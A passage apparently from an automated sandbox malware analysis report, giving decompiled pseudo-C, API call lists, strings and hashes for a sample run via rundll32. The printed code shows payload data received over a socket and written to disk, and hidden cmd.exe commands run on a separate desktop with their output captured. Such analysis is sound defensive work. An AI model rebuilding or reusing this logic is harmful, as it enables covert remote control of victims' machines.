											 *_t174 = _t160;
										}
										_t180 = _t180 + 1;
										_t175 =  &_v1792;
										_t144 =  *(_t175 + _t180 * 2) & 0x0000ffff;
										_t174 = _t175 + _t180 * 2;
										_t209 = _t144;
									} while (_t144 != 0);
									_t154 = _v1844;
								}
								lstrcatW(_t188,  &_v1792);
							} else {
								goto L17;
							}
						} else {
							_t149 = E00FC2A30( &_v1584,  &_v1688,  *0xfd6748);
							_t216 = _t216 + 4;
							if(_t149 != 0) {
								goto L8;
							}
						}
						_t103 = _v1064;
						_t181 = 0;
						if(_t103 != 0) {
							_t172 =  &_v1064;
							_t195 = _t103 & 0x0000ffff;
							_t36 = _t181 + 0x5c; // 0x5c
							_t159 = _t36;
							do {
								if(_t195 == 0x2f) {
									 *_t172 = _t159;
								}
								_t181 = _t181 + 1;
								_t173 =  &_v1064;
								_t143 =  *(_t173 + _t181 * 2) & 0x0000ffff;
								_t172 = _t173 + _t181 * 2;
								_t195 = _t143;
							} while (_t143 != 0);
							_t154 = _v1844;
							_t188 = _v1848;
						}
						lstrcatW(_t154,  &_v1064);
						_t106 =  *0xfd68cc; // 0xfd848e
						_v1832 = _t106;
						_t107 =  *0xfd68d0; // 0xfd849c
						_v1828 = _t107;
						_t108 =  *0xfd68d4; // 0xfd84a8
						_v1824 = _t108;
						_t109 =  *0xfd68d8; // 0xfd84c4
						_v1820 = _t109;
						_t110 =  *0xfd68dc; // 0xfd84d8
						_v1836 = 5;
						_v1816 = _t110;
						_t111 = GetFileAttributesW(_t154);
						if(_t111 == 0xffffffff || (_t111 & 0x00000010) == 0) {
							L34:
							E00FC2330(_t188, _t154,  &_v1836);
							goto L35;
						} else {
							_t116 = _a4;
							if(_t116 == 1) {
								lstrlenW(_t154);
								E00FC1000( &_v544, _t154, _t117 + _t117);
								E00FC1220( &(( &_v544)[_t117]),  *0xfd680c, GetTickCount());
								_t216 = _t216 + 0x18;
								MoveFileW(_t154,  &_v544);
								goto L34;
							} else {
								if(_t116 != 2) {
									if(_t116 != 0) {
										L35:
										E00FC2AC0(_t154);
										return 1;
									} else {
										_t191 = lstrlenW(_t188);
										_t205 = lstrlenW(_t154);
										E00FC3D50(_v1848, _t154, _t191, _t205);
										_t167 = _v1848;
										_t219 = _t216 + 8;
										_t192 = 0;
										_v1844 =  &(_t167[_t191]);
										_v1840 =  &(_t154[_t205]);
										asm("o16 nop [eax+eax]");
										do {
											_t62 = _t192 + 0xfcf2fc; // 0x65
											_t206 =  *(0xfd6730 +  *_t62 * 4);
											lstrcatW(_t167, _t206);
											lstrcatW(_t154, _t206);
											E00FC2330(_v1848, _t154, 0);
											_t192 = _t192 + 4;
											_t219 = _t219 + 4;
											 *_v1844 = 0;
											 *_v1840 = 0;
											_t167 = _v1848;
										} while (_t192 < 8);
										E00FC2AC0(_t154);
										return 1;
									}
								} else {
									CreateDirectoryW(_t154, 0);
									MoveFileExW(_t154, 0, 4);
									E00FC2AC0(_t154);
									return 1;
								}
							}
						}
					}
				}
			}

0x00fc2c54
0x00fc2c56
0x00fc2c5b
0x00fc2c5f
0x00fc2c63
0x00fc2c68
0x00fc2c74
0x00fc2c7c
0x00fc302d
0x00fc3035
0x00fc2c82
0x00fc2c8f
0x00fc2c92
0x00fc2c9b
0x00000000
0x00fc2ca9
0x00fc2cb7
0x00fc2cc1
0x00fc2cd9
0x00fc2cc3
0x00fc2cc3
0x00fc2cc9
0x00fc2ccf
0x00fc2cd6
0x00fc2cd6
0x00fc2ce6
0x00fc2cf1
0x00fc2d05
0x00fc2d25
0x00fc2d42
0x00fc2d4c
0x00fc2d68
0x00fc2d6d
0x00fc2d72
0x00fc2d98
0x00fc2dc1
0x00fc2deb
0x00fc2df1
0x00fc2df6
0x00fc2dfb
0x00fc2dfd
0x00fc2e01
0x00fc2e04
0x00fc2e04
0x00fc2e07
0x00fc2e0b
0x00fc2e0d
0x00fc2e0d
0x00fc2e10
0x00fc2e11
0x00fc2e15
0x00fc2e19
0x00fc2e1c
0x00fc2e1e
0x00fc2e23
0x00fc2e23
0x00fc2e33
0x00000000
0x00000000
0x00000000
0x00fc2d74
0x00fc2d88
0x00fc2d8d
0x00fc2d92
0x00000000
0x00000000
0x00fc2d92
0x00fc2e3d
0x00fc2e45
0x00fc2e4a
0x00fc2e4c
0x00fc2e53
0x00fc2e56
0x00fc2e56
0x00fc2e60
0x00fc2e64
0x00fc2e66
0x00fc2e66
0x00fc2e69
0x00fc2e6a
0x00fc2e71
0x00fc2e75
0x00fc2e78
0x00fc2e7a
0x00fc2e7f
0x00fc2e83
0x00fc2e83
0x00fc2e90
0x00fc2e92
0x00fc2e97
0x00fc2e9b
0x00fc2ea0
0x00fc2ea4
0x00fc2ea9
0x00fc2ead
0x00fc2eb2
0x00fc2eb6
0x00fc2ebc
0x00fc2ec4
0x00fc2ec8
0x00fc2ed1
0x00fc3009
0x00fc3012
0x00000000
0x00fc2edf
0x00fc2edf
0x00fc2ee5
0x00fc2fc3
0x00fc2fd2
0x00fc2ff2
0x00fc2ff7
0x00fc3003
0x00000000
0x00fc2eeb
0x00fc2eee
0x00fc2f19
0x00fc301a
0x00fc301c
0x00fc302c
0x00fc2f1f
0x00fc2f29
0x00fc2f31
0x00fc2f37
0x00fc2f3c
0x00fc2f40
0x00fc2f46
0x00fc2f48
0x00fc2f4f
0x00fc2f57
0x00fc2f60
0x00fc2f60
0x00fc2f66
0x00fc2f6f
0x00fc2f77
0x00fc2f85
0x00fc2f90
0x00fc2f93
0x00fc2f96
0x00fc2f9d
0x00fc2fa0
0x00fc2fa4
0x00fc2fab
0x00fc2fbb
0x00fc2fbb
0x00fc2ef0
0x00fc2ef3
0x00fc2efe
0x00fc2f06
0x00fc2f16
0x00fc2f16
0x00fc2eee
0x00fc2ee5
0x00fc2ed1
0x00fc2c9b

APIs

SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000), ref: 00FC2C74
lstrcatW.KERNEL32 ref: 00FC2C8F
GetFileAttributesW.KERNEL32 ref: 00FC2C92
lstrcpyW.KERNEL32 ref: 00FC2CB7
GetTickCount.KERNEL32 ref: 00FC2CC3
lstrcatW.KERNEL32(?,d06ed635), ref: 00FC2CE6
lstrcpyW.KERNEL32 ref: 00FC2CF1
lstrcatW.KERNEL32(?), ref: 00FC2D05
WritePrivateProfileStringW.KERNEL32(d06ed635,00FCF2DC,?), ref: 00FC2D25
WritePrivateProfileStringW.KERNEL32(d06ed635,?,?), ref: 00FC2D42
GetPrivateProfileStringW.KERNEL32 ref: 00FC2DBD
GetPrivateProfileStringW.KERNEL32 ref: 00FC2DE2
lstrcpyW.KERNEL32 ref: 00FC2DEB
lstrcatW.KERNEL32(?,?), ref: 00FC2E33
lstrcatW.KERNEL32(?,?), ref: 00FC2E90
GetFileAttributesW.KERNEL32 ref: 00FC2EC8
CreateDirectoryW.KERNEL32(?,00000000), ref: 00FC2EF3
MoveFileExW.KERNEL32(?,00000000,00000004,?,00000000), ref: 00FC2EFE
lstrlenW.KERNEL32 ref: 00FC2F26
lstrlenW.KERNEL32 ref: 00FC2F2B
lstrcatW.KERNEL32(?,00000000), ref: 00FC2F6F
lstrcatW.KERNEL32(?,00000000), ref: 00FC2F77
lstrlenW.KERNEL32 ref: 00FC2FBD
GetTickCount.KERNEL32 ref: 00FC2FDA

Part of subcall function 00FC1220: wvsprintfW.USER32(?,?,?), ref: 00FC122D

MoveFileW.KERNEL32(?,?), ref: 00FC3003

Part of subcall function 00FC2AC0: lstrcpyW.KERNEL32 ref: 00FC2AD0
Part of subcall function 00FC2AC0: GetFileAttributesW.KERNEL32(?,?,747582B0), ref: 00FC2AE1
Part of subcall function 00FC2AC0: lstrcatW.KERNEL32(?), ref: 00FC2AFF
Part of subcall function 00FC2AC0: GetFileAttributesW.KERNEL32(?,?,747582B0), ref: 00FC2B0A
Part of subcall function 00FC2AC0: CreateFileW.KERNEL32(10000000,10000000,00000000,00000000,00000003,00000000,00000000,?,747582B0), ref: 00FC2B2D
Part of subcall function 00FC2AC0: GetFileSize.KERNEL32(00000000,00000000,?,?,747582B0), ref: 00FC2B41
Part of subcall function 00FC2AC0: LocalAlloc.KERNEL32(00000000,00000000,?,?,?,747582B0), ref: 00FC2B55
Part of subcall function 00FC2AC0: ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,?,?,747582B0), ref: 00FC2B6E
Part of subcall function 00FC2AC0: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,747582B0), ref: 00FC2BA7
Part of subcall function 00FC2AC0: WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000,?,747582B0), ref: 00FC2BCD
Part of subcall function 00FC2AC0: LocalFree.KERNEL32(00000000,?,?,?,747582B0), ref: 00FC2C0D
Part of subcall function 00FC2AC0: CloseHandle.KERNEL32(00000000,?,?,747582B0), ref: 00FC2C15

Strings

d06ed635, xrefs: 00FC2CD9, 00FC2D20, 00FC2D3D

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: File$lstrcat$AttributesPrivateProfileStringlstrcpy$Writelstrlen$CountCreateLocalMoveTick$AllocCloseDirectoryFolderFreeHandlePathPointerReadSizewvsprintf
String ID: d06ed635
API String ID: 1323194908-745246866
Opcode ID: 0f844f4e59418f3974488addac119caa10829d50f3aa5d5efa3b8f88cc98fee6
Instruction ID: 23a27e89f513d24194361eccebc5f8e92ee5c07eaf2fe36202d97d9fe5391e9c
Opcode Fuzzy Hash: 0f844f4e59418f3974488addac119caa10829d50f3aa5d5efa3b8f88cc98fee6
Instruction Fuzzy Hash: 9DB1B47160434A9BD720DB64DD86FAAB7E9FF88354F04042EF949C3251EB31D909EB91

Uniqueness

Uniqueness Score: -1.00%

Function 00FC8C70 Relevance: 44.0, APIs: 23, Strings: 2, Instructions: 221
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 88%

			E00FC8C70(intOrPtr __ecx, WCHAR* __edx, void* __eflags, long _a4, intOrPtr _a8, intOrPtr* _a12, void* _a16) {
				int _v0;
				short _v524;
				long _v528;
				long _v532;
				long _v536;
				void* _v540;
				int _v544;
				void _v548;
				void* _v552;
				intOrPtr* _t41;
				signed char _t52;
				signed char _t58;
				long _t59;
				signed int _t65;
				int _t68;
				signed int _t69;
				void* _t70;
				void* _t78;
				int _t79;
				void* _t86;
				long _t88;
				void* _t90;
				signed int _t93;
				int _t100;
				intOrPtr* _t101;
				void* _t103;
				int _t104;
				WCHAR* _t108;

				_t41 = _a16;
				_t101 = _a12;
				_t108 = __edx;
				_push(_t41);
				_t100 = 0;
				 *_t41 = 0;
				_push(_t101);
				_push( &_v536);
				_push( &_v532);
				_push( &_v540);
				if(E00FC7CF0(__ecx,  &_v548) == 0) {
					L44:
					return _t100;
				} else {
					_t86 = _v548;
					if( *0xfd6c89 >= 0x2000) {
						if(ExpandEnvironmentStringsW( *0xfd6744, __edx, _a4) == 0) {
							 *_t101 = 0x6f;
						} else {
							goto L10;
						}
					} else {
						if(GetTempFileNameW(?str?, 0xfcf2d8, 0,  &_v524) == 0) {
							L8:
							lstrcpynW(_t108, "C:\ProgramData\", _a4);
						} else {
							_v544 = 0;
							if(GetFileAttributesW( &_v524) != 0xffffffff) {
								DeleteFileW( &_v528);
							}
							_t78 = CreateFileW( &_v528, 0x40000000, 3, 0, 2, 0, 0);
							_v552 = _t78;
							if(_t78 == 0xffffffff) {
								goto L8;
							} else {
								_t79 = WriteFile(_t78,  &_v548, 4,  &_v532, 0);
								CloseHandle(_v552);
								if(_t79 == 0) {
									goto L8;
								} else {
									DeleteFileW( &_v528);
									lstrcpynW(_t108, "C:\Users\jones\AppData\LocalLow\", _v0);
								}
							}
						}
						L10:
						if(_a8 == _t100) {
							_push(_t86);
							goto L20;
						} else {
							_t65 = lstrlenW(_t108);
							E00FC1290(GetTickCount(), _t66,  &(_t108[_t65]));
							if(_t86 != 0) {
								_t68 = lstrlenW(_t86);
								if(_t68 != 0) {
									_t69 = _t68 - 1;
									if(_t69 > 0) {
										while(1) {
											_t93 =  *(_t86 + _t69 * 2) & 0x0000ffff;
											if(_t93 == 0 || _t93 == 0x2e) {
												goto L17;
											}
											_t69 = _t69 - 1;
											if(_t69 > 0) {
												continue;
											}
											goto L17;
										}
									}
									L17:
									_t70 = _t86 + _t69 * 2;
									if(_t70 != 0) {
										_push(_t70);
										L20:
										lstrcatW(_t108, ??);
									}
								}
							}
						}
						_t52 = GetFileAttributesW(_t108);
						if(_t52 == 0xffffffff || (_t52 & 0x00000010) != 0) {
							if(GetFileAttributesW(_t108) != 0xffffffff) {
								DeleteFileW(_t108);
							}
							_t103 = CreateFileW(_t108, 0x40000000, 3, 0, 2, 0, 0);
							_v548 = _t103;
							if(_t103 == 0xffffffff) {
								L37:
								 *_a16 = GetLastError();
							} else {
								_t90 = _v540;
								if(_t90 == 0) {
									L31:
									_t104 = 1;
								} else {
									_t59 = _v536;
									if(_t59 == 0) {
										goto L31;
									} else {
										_t104 = WriteFile(_t103, _t90, _t59,  &_v528, 0);
										if(_t104 == 0) {
											 *_a16 = GetLastError();
										}
									}
								}
								CloseHandle(_v548);
								if(_t104 != 0) {
									_t58 = GetFileAttributesW(_t108);
									if(_t58 == 0xffffffff || (_t58 & 0x00000010) != 0) {
										_t100 = 0;
										goto L37;
									} else {
										_t100 = 1;
									}
								}
							}
						} else {
							_t100 = 0;
							 *_a12 = 0xde;
							 *_a16 = 0xb7;
						}
					}
					if(_t86 == 0) {
						goto L44;
					} else {
						_t88 = _v532;
						if(_t88 == 0) {
							goto L44;
						} else {
							if(_t88 <= 0x1000) {
								LocalFree(_t86);
								goto L44;
							} else {
								VirtualFree(_t86, 0, 0x8000);
								return _t100;
							}
						}
					}
				}
			}

0x00fc8c70
0x00fc8c7d
0x00fc8c84
0x00fc8c87
0x00fc8c88
0x00fc8c8e
0x00fc8c94
0x00fc8c95
0x00fc8c9a
0x00fc8c9f
0x00fc8caa
0x00fc8f10
0x00fc8f1c
0x00fc8cb0
0x00fc8cba
0x00fc8cbe
0x00fc8d95
0x00fc8ed4
0x00000000
0x00000000
0x00000000
0x00fc8cc4
0x00fc8cdc
0x00fc8d6a
0x00fc8d77
0x00fc8ce2
0x00fc8ce6
0x00fc8cf5
0x00fc8cfc
0x00fc8cfc
0x00fc8d16
0x00fc8d1c
0x00fc8d23
0x00000000
0x00fc8d25
0x00fc8d34
0x00fc8d40
0x00fc8d48
0x00000000
0x00fc8d4a
0x00fc8d4f
0x00fc8d62
0x00fc8d62
0x00fc8d48
0x00fc8d23
0x00fc8d9b
0x00fc8da2
0x00fc8df4
0x00000000
0x00fc8da4
0x00fc8da5
0x00fc8dbe
0x00fc8dc5
0x00fc8dc8
0x00fc8dd0
0x00fc8dd2
0x00fc8dd5
0x00fc8dd7
0x00fc8dd7
0x00fc8dde
0x00000000
0x00000000
0x00fc8de5
0x00fc8de8
0x00000000
0x00000000
0x00000000
0x00fc8de8
0x00fc8dd7
0x00fc8dea
0x00fc8dea
0x00fc8def
0x00fc8df1
0x00fc8df5
0x00fc8df6
0x00fc8df6
0x00fc8def
0x00fc8dd0
0x00fc8dc5
0x00fc8e03
0x00fc8e08
0x00fc8e35
0x00fc8e38
0x00fc8e38
0x00fc8e54
0x00fc8e56
0x00fc8e5d
0x00fc8ec3
0x00fc8ed0
0x00fc8e5f
0x00fc8e5f
0x00fc8e65
0x00fc8e96
0x00fc8e96
0x00fc8e67
0x00fc8e67
0x00fc8e6d
0x00000000
0x00fc8e6f
0x00fc8e7f
0x00fc8e83
0x00fc8e92
0x00fc8e92
0x00fc8e83
0x00fc8e6d
0x00fc8e9f
0x00fc8ea7
0x00fc8eaf
0x00fc8eb4
0x00fc8ec1
0x00000000
0x00fc8eba
0x00fc8eba
0x00fc8eba
0x00fc8eb4
0x00fc8ea7
0x00fc8e0e
0x00fc8e15
0x00fc8e17
0x00fc8e24
0x00fc8e24
0x00fc8e08
0x00fc8edc
0x00000000
0x00fc8ede
0x00fc8ede
0x00fc8ee4
0x00000000
0x00fc8ee6
0x00fc8eec
0x00fc8f0a
0x00000000
0x00fc8eee
0x00fc8ef6
0x00fc8f08
0x00fc8f08
0x00fc8eec
0x00fc8ee4
0x00fc8edc

APIs

Part of subcall function 00FC7CF0: select.WS2_32(?,?), ref: 00FC7D31
Part of subcall function 00FC7CF0: recv.WS2_32(?,?,00000004,00000000), ref: 00FC7D45
Part of subcall function 00FC7CF0: select.WS2_32 ref: 00FC7D92
Part of subcall function 00FC7CF0: recv.WS2_32(?,?,00000004,00000000), ref: 00FC7DA6
Part of subcall function 00FC7CF0: VirtualAlloc.KERNEL32(00000004,?,00003000,00000004,?,?,00000004,00000000), ref: 00FC7DDC

GetTempFileNameW.KERNEL32(C:\Users\user\AppData\LocalLow\,00FCF2D8,00000000,?,?,?,?,?), ref: 00FC8CD4
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00FC8CFC
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000002,00000000,00000000,?,?,?,?), ref: 00FC8D16
WriteFile.KERNEL32(00000000,?,00000004,?,00000000,?,?,?,?), ref: 00FC8D34
CloseHandle.KERNEL32(?,?,?,?,?), ref: 00FC8D40
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00FC8D4F
lstrcpynW.KERNEL32(?,C:\Users\user\AppData\LocalLow\,?,?,?,?,?), ref: 00FC8D62
lstrcpynW.KERNEL32(?,C:\ProgramData\,?,?,?,?,?), ref: 00FC8D77
ExpandEnvironmentStringsW.KERNEL32(?,?,?,?,?,?), ref: 00FC8D8D
lstrlenW.KERNEL32(?,?,?,?,?), ref: 00FC8DA5
GetTickCount.KERNEL32 ref: 00FC8DB4
lstrlenW.KERNEL32(?,?,?,?,?), ref: 00FC8DC8
lstrcatW.KERNEL32(?,?), ref: 00FC8DF6
GetFileAttributesW.KERNEL32(?,?,?,?,?), ref: 00FC8E03
GetFileAttributesW.KERNEL32(?,?,?,?,?), ref: 00FC8E30
DeleteFileW.KERNEL32(?,?,?,?,?), ref: 00FC8E38
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000002,00000000,00000000,?,?,?,?), ref: 00FC8E4E
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,?,?,?), ref: 00FC8E79
GetLastError.KERNEL32(?,?,?,?), ref: 00FC8E85
CloseHandle.KERNEL32(?,?,?,?,?), ref: 00FC8E9F
GetLastError.KERNEL32(?,?,?,?), ref: 00FC8EC3
VirtualFree.KERNEL32(?,00000000,00008000,?,?,?,?), ref: 00FC8EF6
LocalFree.KERNEL32(?,?,?,?,?), ref: 00FC8F0A

Strings

C:\ProgramData\, xrefs: 00FC8D71
C:\Users\user\AppData\LocalLow\, xrefs: 00FC8CCF, 00FC8D5C

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: File$Delete$AttributesCloseCreateErrorFreeHandleLastVirtualWritelstrcpynlstrlenrecvselect$AllocCountEnvironmentExpandLocalNameStringsTempTicklstrcat
String ID: C:\ProgramData\$C:\Users\user\AppData\LocalLow\
API String ID: 1598320495-4239768344
Opcode ID: a9a82b88dd14151b3f88d4de3f477270abb5329956c03358e7615742d7d70dc9
Instruction ID: eea3bcf93d5def0a0db6eba527667b8ab2b5252fea8f493b94572738bd9dba05
Opcode Fuzzy Hash: a9a82b88dd14151b3f88d4de3f477270abb5329956c03358e7615742d7d70dc9
Instruction Fuzzy Hash: 3F71C531900306EFD7209B64DE4AF6BB7A9EB847A1F04092DF946D7190DB34D90AAB51

Uniqueness

Uniqueness Score: -1.00%

Function 00FC3EC0 Relevance: 43.9, APIs: 20, Strings: 5, Instructions: 179
stringfileprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 100%

			E00FC3EC0(WCHAR* __ecx, intOrPtr* __edx) {
				short _v1026;
				short _v1028;
				short _v1548;
				struct _STARTUPINFOW _v1620;
				struct _PROCESS_INFORMATION _v1636;
				intOrPtr* _v1640;
				long _v1644;
				void* _t62;
				void* _t63;
				long _t79;
				int _t84;
				intOrPtr* _t85;
				long _t86;
				CHAR* _t89;
				void* _t92;
				WCHAR* _t93;

				_t89 = 0;
				_t85 = __edx;
				_v1640 = __edx;
				_t93 = __ecx;
				_v1644 = 0;
				if(GetTempFileNameW(?str?, 0, 0,  &_v1548) != 0) {
					L3:
					_v1028 = 0x22;
					lstrcpyW( &_v1026, "C:\Windows\system32\cmd.exe");
					lstrcatW( &_v1028,  *0xfd6800);
					lstrcatW( &_v1028, _t93);
					lstrcatW( &_v1028,  *0xfd6804);
					lstrcatW( &_v1028,  &_v1548);
					lstrcatW( &_v1028,  *0xfd6808);
					E00FC10D0( &_v1620, 0, 0x44);
					_v1620.cb = 0x44;
					_v1620.wShowWindow = 0;
					_v1620.lpDesktop = L"d06ed635";
					_v1620.dwFlags = 1;
					E00FC10D0( &_v1620, 0, 0x44);
					if(CreateProcessW(0,  &_v1028, 0, 0, 1, 0, 0, 0,  &_v1620,  &_v1636) == 0) {
						L18:
						 *_t85 = 0;
						return _t89;
					} else {
						_t62 = _v1636.hProcess;
						if(_t62 != 0) {
							WaitForSingleObject(_t62, 0x2710);
							CloseHandle(_v1636);
						}
						_t63 = _v1636.hThread;
						if(_t63 != 0) {
							CloseHandle(_t63);
						}
						_t92 = CreateFileW( &_v1548, 0x80000000, 0, 0, 3, 0, 0);
						if(_t92 != 0xffffffff) {
							_t86 = GetFileSize(_t92, 0);
							if(_t86 != 0) {
								_t26 = _t86 + 8; // 0x8
								_t89 = LocalAlloc(0x40, _t26);
								if(_t89 != 0) {
									if(ReadFile(_t92, _t89, _t86,  &_v1644, 0) == 0) {
										L13:
										LocalFree(_t89);
										_t79 = _v1644;
										_t89 = 0;
									} else {
										_t79 = _v1644;
										if(_t79 != _t86) {
											goto L13;
										}
									}
									 *((intOrPtr*)(_t79 + _t89 - 2)) = 0xa0d;
								}
							}
							CloseHandle(_t92);
							_t85 = _v1640;
						}
						DeleteFileW( &_v1548);
						if(_t89 == 0) {
							goto L18;
						} else {
							OemToCharA(_t89, _t89);
							 *_t85 = _v1644 + 2;
							return _t89;
						}
					}
				} else {
					_t84 = GetTempFileNameW("C:\ProgramData\", 0, 0,  &_v1548);
					if(_t84 != 0) {
						goto L3;
					} else {
						return _t84;
					}
				}
			}

0x00fc3ed5
0x00fc3ed7
0x00fc3ee0
0x00fc3ee4
0x00fc3ee6
0x00fc3eee
0x00fc3f0d
0x00fc3f12
0x00fc3f27
0x00fc3f41
0x00fc3f4c
0x00fc3f5c
0x00fc3f6b
0x00fc3f7b
0x00fc3f86
0x00fc3f8d
0x00fc3f98
0x00fc3fa2
0x00fc3faa
0x00fc3fb2
0x00fc3fe2
0x00fc40bd
0x00fc40bf
0x00fc40cd
0x00fc3fe8
0x00fc3fe8
0x00fc3ff4
0x00fc3ffc
0x00fc4006
0x00fc4006
0x00fc4008
0x00fc400e
0x00fc4011
0x00fc4011
0x00fc4030
0x00fc4035
0x00fc4040
0x00fc4044
0x00fc4046
0x00fc4052
0x00fc4056
0x00fc406a
0x00fc4074
0x00fc4075
0x00fc407b
0x00fc407f
0x00fc406c
0x00fc406c
0x00fc4072
0x00000000
0x00000000
0x00fc4072
0x00fc4081
0x00fc4081
0x00fc4056
0x00fc408a
0x00fc408c
0x00fc408c
0x00fc4095
0x00fc409d
0x00000000
0x00fc409f
0x00fc40a1
0x00fc40ae
0x00fc40bc
0x00fc40bc
0x00fc409d
0x00fc3ef0
0x00fc3efc
0x00fc3f00
0x00000000
0x00fc3f0c
0x00fc3f0c
0x00fc3f0c
0x00fc3f00

APIs

GetTempFileNameW.KERNEL32(C:\Users\user\AppData\LocalLow\,00000000,00000000,?), ref: 00FC3EEA
GetTempFileNameW.KERNEL32(C:\ProgramData\,00000000,00000000,?), ref: 00FC3EFC
lstrcpyW.KERNEL32 ref: 00FC3F27
lstrcatW.KERNEL32(?), ref: 00FC3F41
lstrcatW.KERNEL32(?,?), ref: 00FC3F4C
lstrcatW.KERNEL32(?), ref: 00FC3F5C
lstrcatW.KERNEL32(?,?), ref: 00FC3F6B
lstrcatW.KERNEL32(?), ref: 00FC3F7B
CreateProcessW.KERNEL32 ref: 00FC3FDA
WaitForSingleObject.KERNEL32(?,00002710), ref: 00FC3FFC
CloseHandle.KERNEL32(?), ref: 00FC4006
CloseHandle.KERNEL32(?), ref: 00FC4011
CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000), ref: 00FC402A
GetFileSize.KERNEL32(00000000,00000000), ref: 00FC403A
LocalAlloc.KERNEL32(00000040,00000008), ref: 00FC404C
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00FC4062
LocalFree.KERNEL32(00000000), ref: 00FC4075
CloseHandle.KERNEL32(00000000), ref: 00FC408A
DeleteFileW.KERNEL32(?), ref: 00FC4095
OemToCharA.USER32 ref: 00FC40A1

Strings

d06ed635, xrefs: 00FC3FA2
C:\ProgramData\, xrefs: 00FC3EF7
D, xrefs: 00FC3F8D
C:\Windows\system32\cmd.exe, xrefs: 00FC3F21
C:\Users\user\AppData\LocalLow\, xrefs: 00FC3EDB

Memory Dump Source

Source File: 00000009.00000002.401852006.0000000000FC1000.00000020.00001000.00020000.00000000.sdmp, Offset: 00FC0000, based on PE: true

Associated: 00000009.00000002.401847480.0000000000FC0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401890727.0000000000FCF000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401900486.0000000000FD5000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000009.00000002.401907619.0000000000FDB000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_fc0000_rundll32.jbxd

Similarity

API ID: File$lstrcat$CloseHandle$CreateLocalNameTemp$AllocCharDeleteFreeObjectProcessReadSingleSizeWaitlstrcpy
String ID: C:\ProgramData\$C:\Users\user\AppData\LocalLow\$C:\Windows\system32\cmd.exe$D$d06ed635
API String ID: 920810582-1501115445
Opcode ID: 43ccbbc8bdf957b5938a25e34990ec43b045708884263be07a21be1ad2ee9e94
Instruction ID: 2474399232e0e5e1838a8b31915c1e396bd6daa051c9c8b60b60baaa1f09fc61
Opcode Fuzzy Hash: 43ccbbc8bdf957b5938a25e34990ec43b045708884263be07a21be1ad2ee9e94
Instruction Fuzzy Hash: 6451BE72644349ABD720DB65DD4AF9BBBEDEF84710F04082EF648D3290D735E508AB62

Uniqueness

Uniqueness Score: -1.00%

Function 00FC1A90 Relevance: 40.7, APIs: 27, Instructions: 216
registrysleepstringCOMMON

Download Yara Rule

C-Code - Quality: 99%

			E00FC1A90(char* __ecx) {
				char _v100;
				void* _v104;
				void* _v108;
				struct HWND__* _t23;
				struct HWND__* _t24;
				struct HWND__* _t25;
				struct HWND__* _t26;
				struct HWND__* _t28;
				struct HWND__* _t29;
				char* _t31;
				char* _t35;
				char* _t41;
				long _t43;
				char* _t47;
				struct HWND__* _t53;
				struct HWND__* _t54;
				char* _t55;
				int _t56;
				void* _t57;
				void* _t58;
				void* _t59;
				void* _t60;
				char* _t63;
				int _t66;

				_t56 = 0;
				_t63 = __ecx;
				while(1) {
					_t23 = FindWindowW( *0xfd67c8,  *0xfd67cc);
					 *0xfd6398 = _t23;
					if(_t23 != 0 || _t63 == 0) {
						break;
					}
					Sleep(0x1f4);
					_t56 = _t56 + 1;
					if(_t56 < 0xa) {
						continue;
					}
					_t23 =  *0xfd6398; // 0x0
					break;
				}
				_t57 = 0;
				asm("o16 nop [eax+eax]");
				while(1) {
					_t24 = FindWindowExW(_t23, 0,  *0xfd67d0, 0);
					_v104 = _t24;
					if(_t24 != 0) {
						break;
					}
					if(_t63 == 0) {
						L14:
						 *0xfd63b4 = 0;
						_t59 = 0;
						__eflags = 0;
						while(1) {
							_t26 = FindWindowW( *0xfd67ac, 0);
							 *0xfd63b4 = _t26;
							__eflags = _t26;
							if(_t26 != 0) {
								break;
							}
							__eflags = _t63;
							if(_t63 == 0) {
								L20:
								_t60 = 0;
								__eflags = 0;
								do {
									_t28 = FindWindowW( *0xfd67d8, 0);
									__eflags = _t28;
									if(_t28 == 0) {
										L26:
										 *0xfd63a0 = 0;
										L27:
										__eflags = _t63;
										if(_t63 == 0) {
											break;
										}
										goto L28;
									}
									_t53 = FindWindowExW(_t28, 0,  *0xfd67dc, 0);
									__eflags = _t53;
									if(_t53 == 0) {
										goto L26;
									}
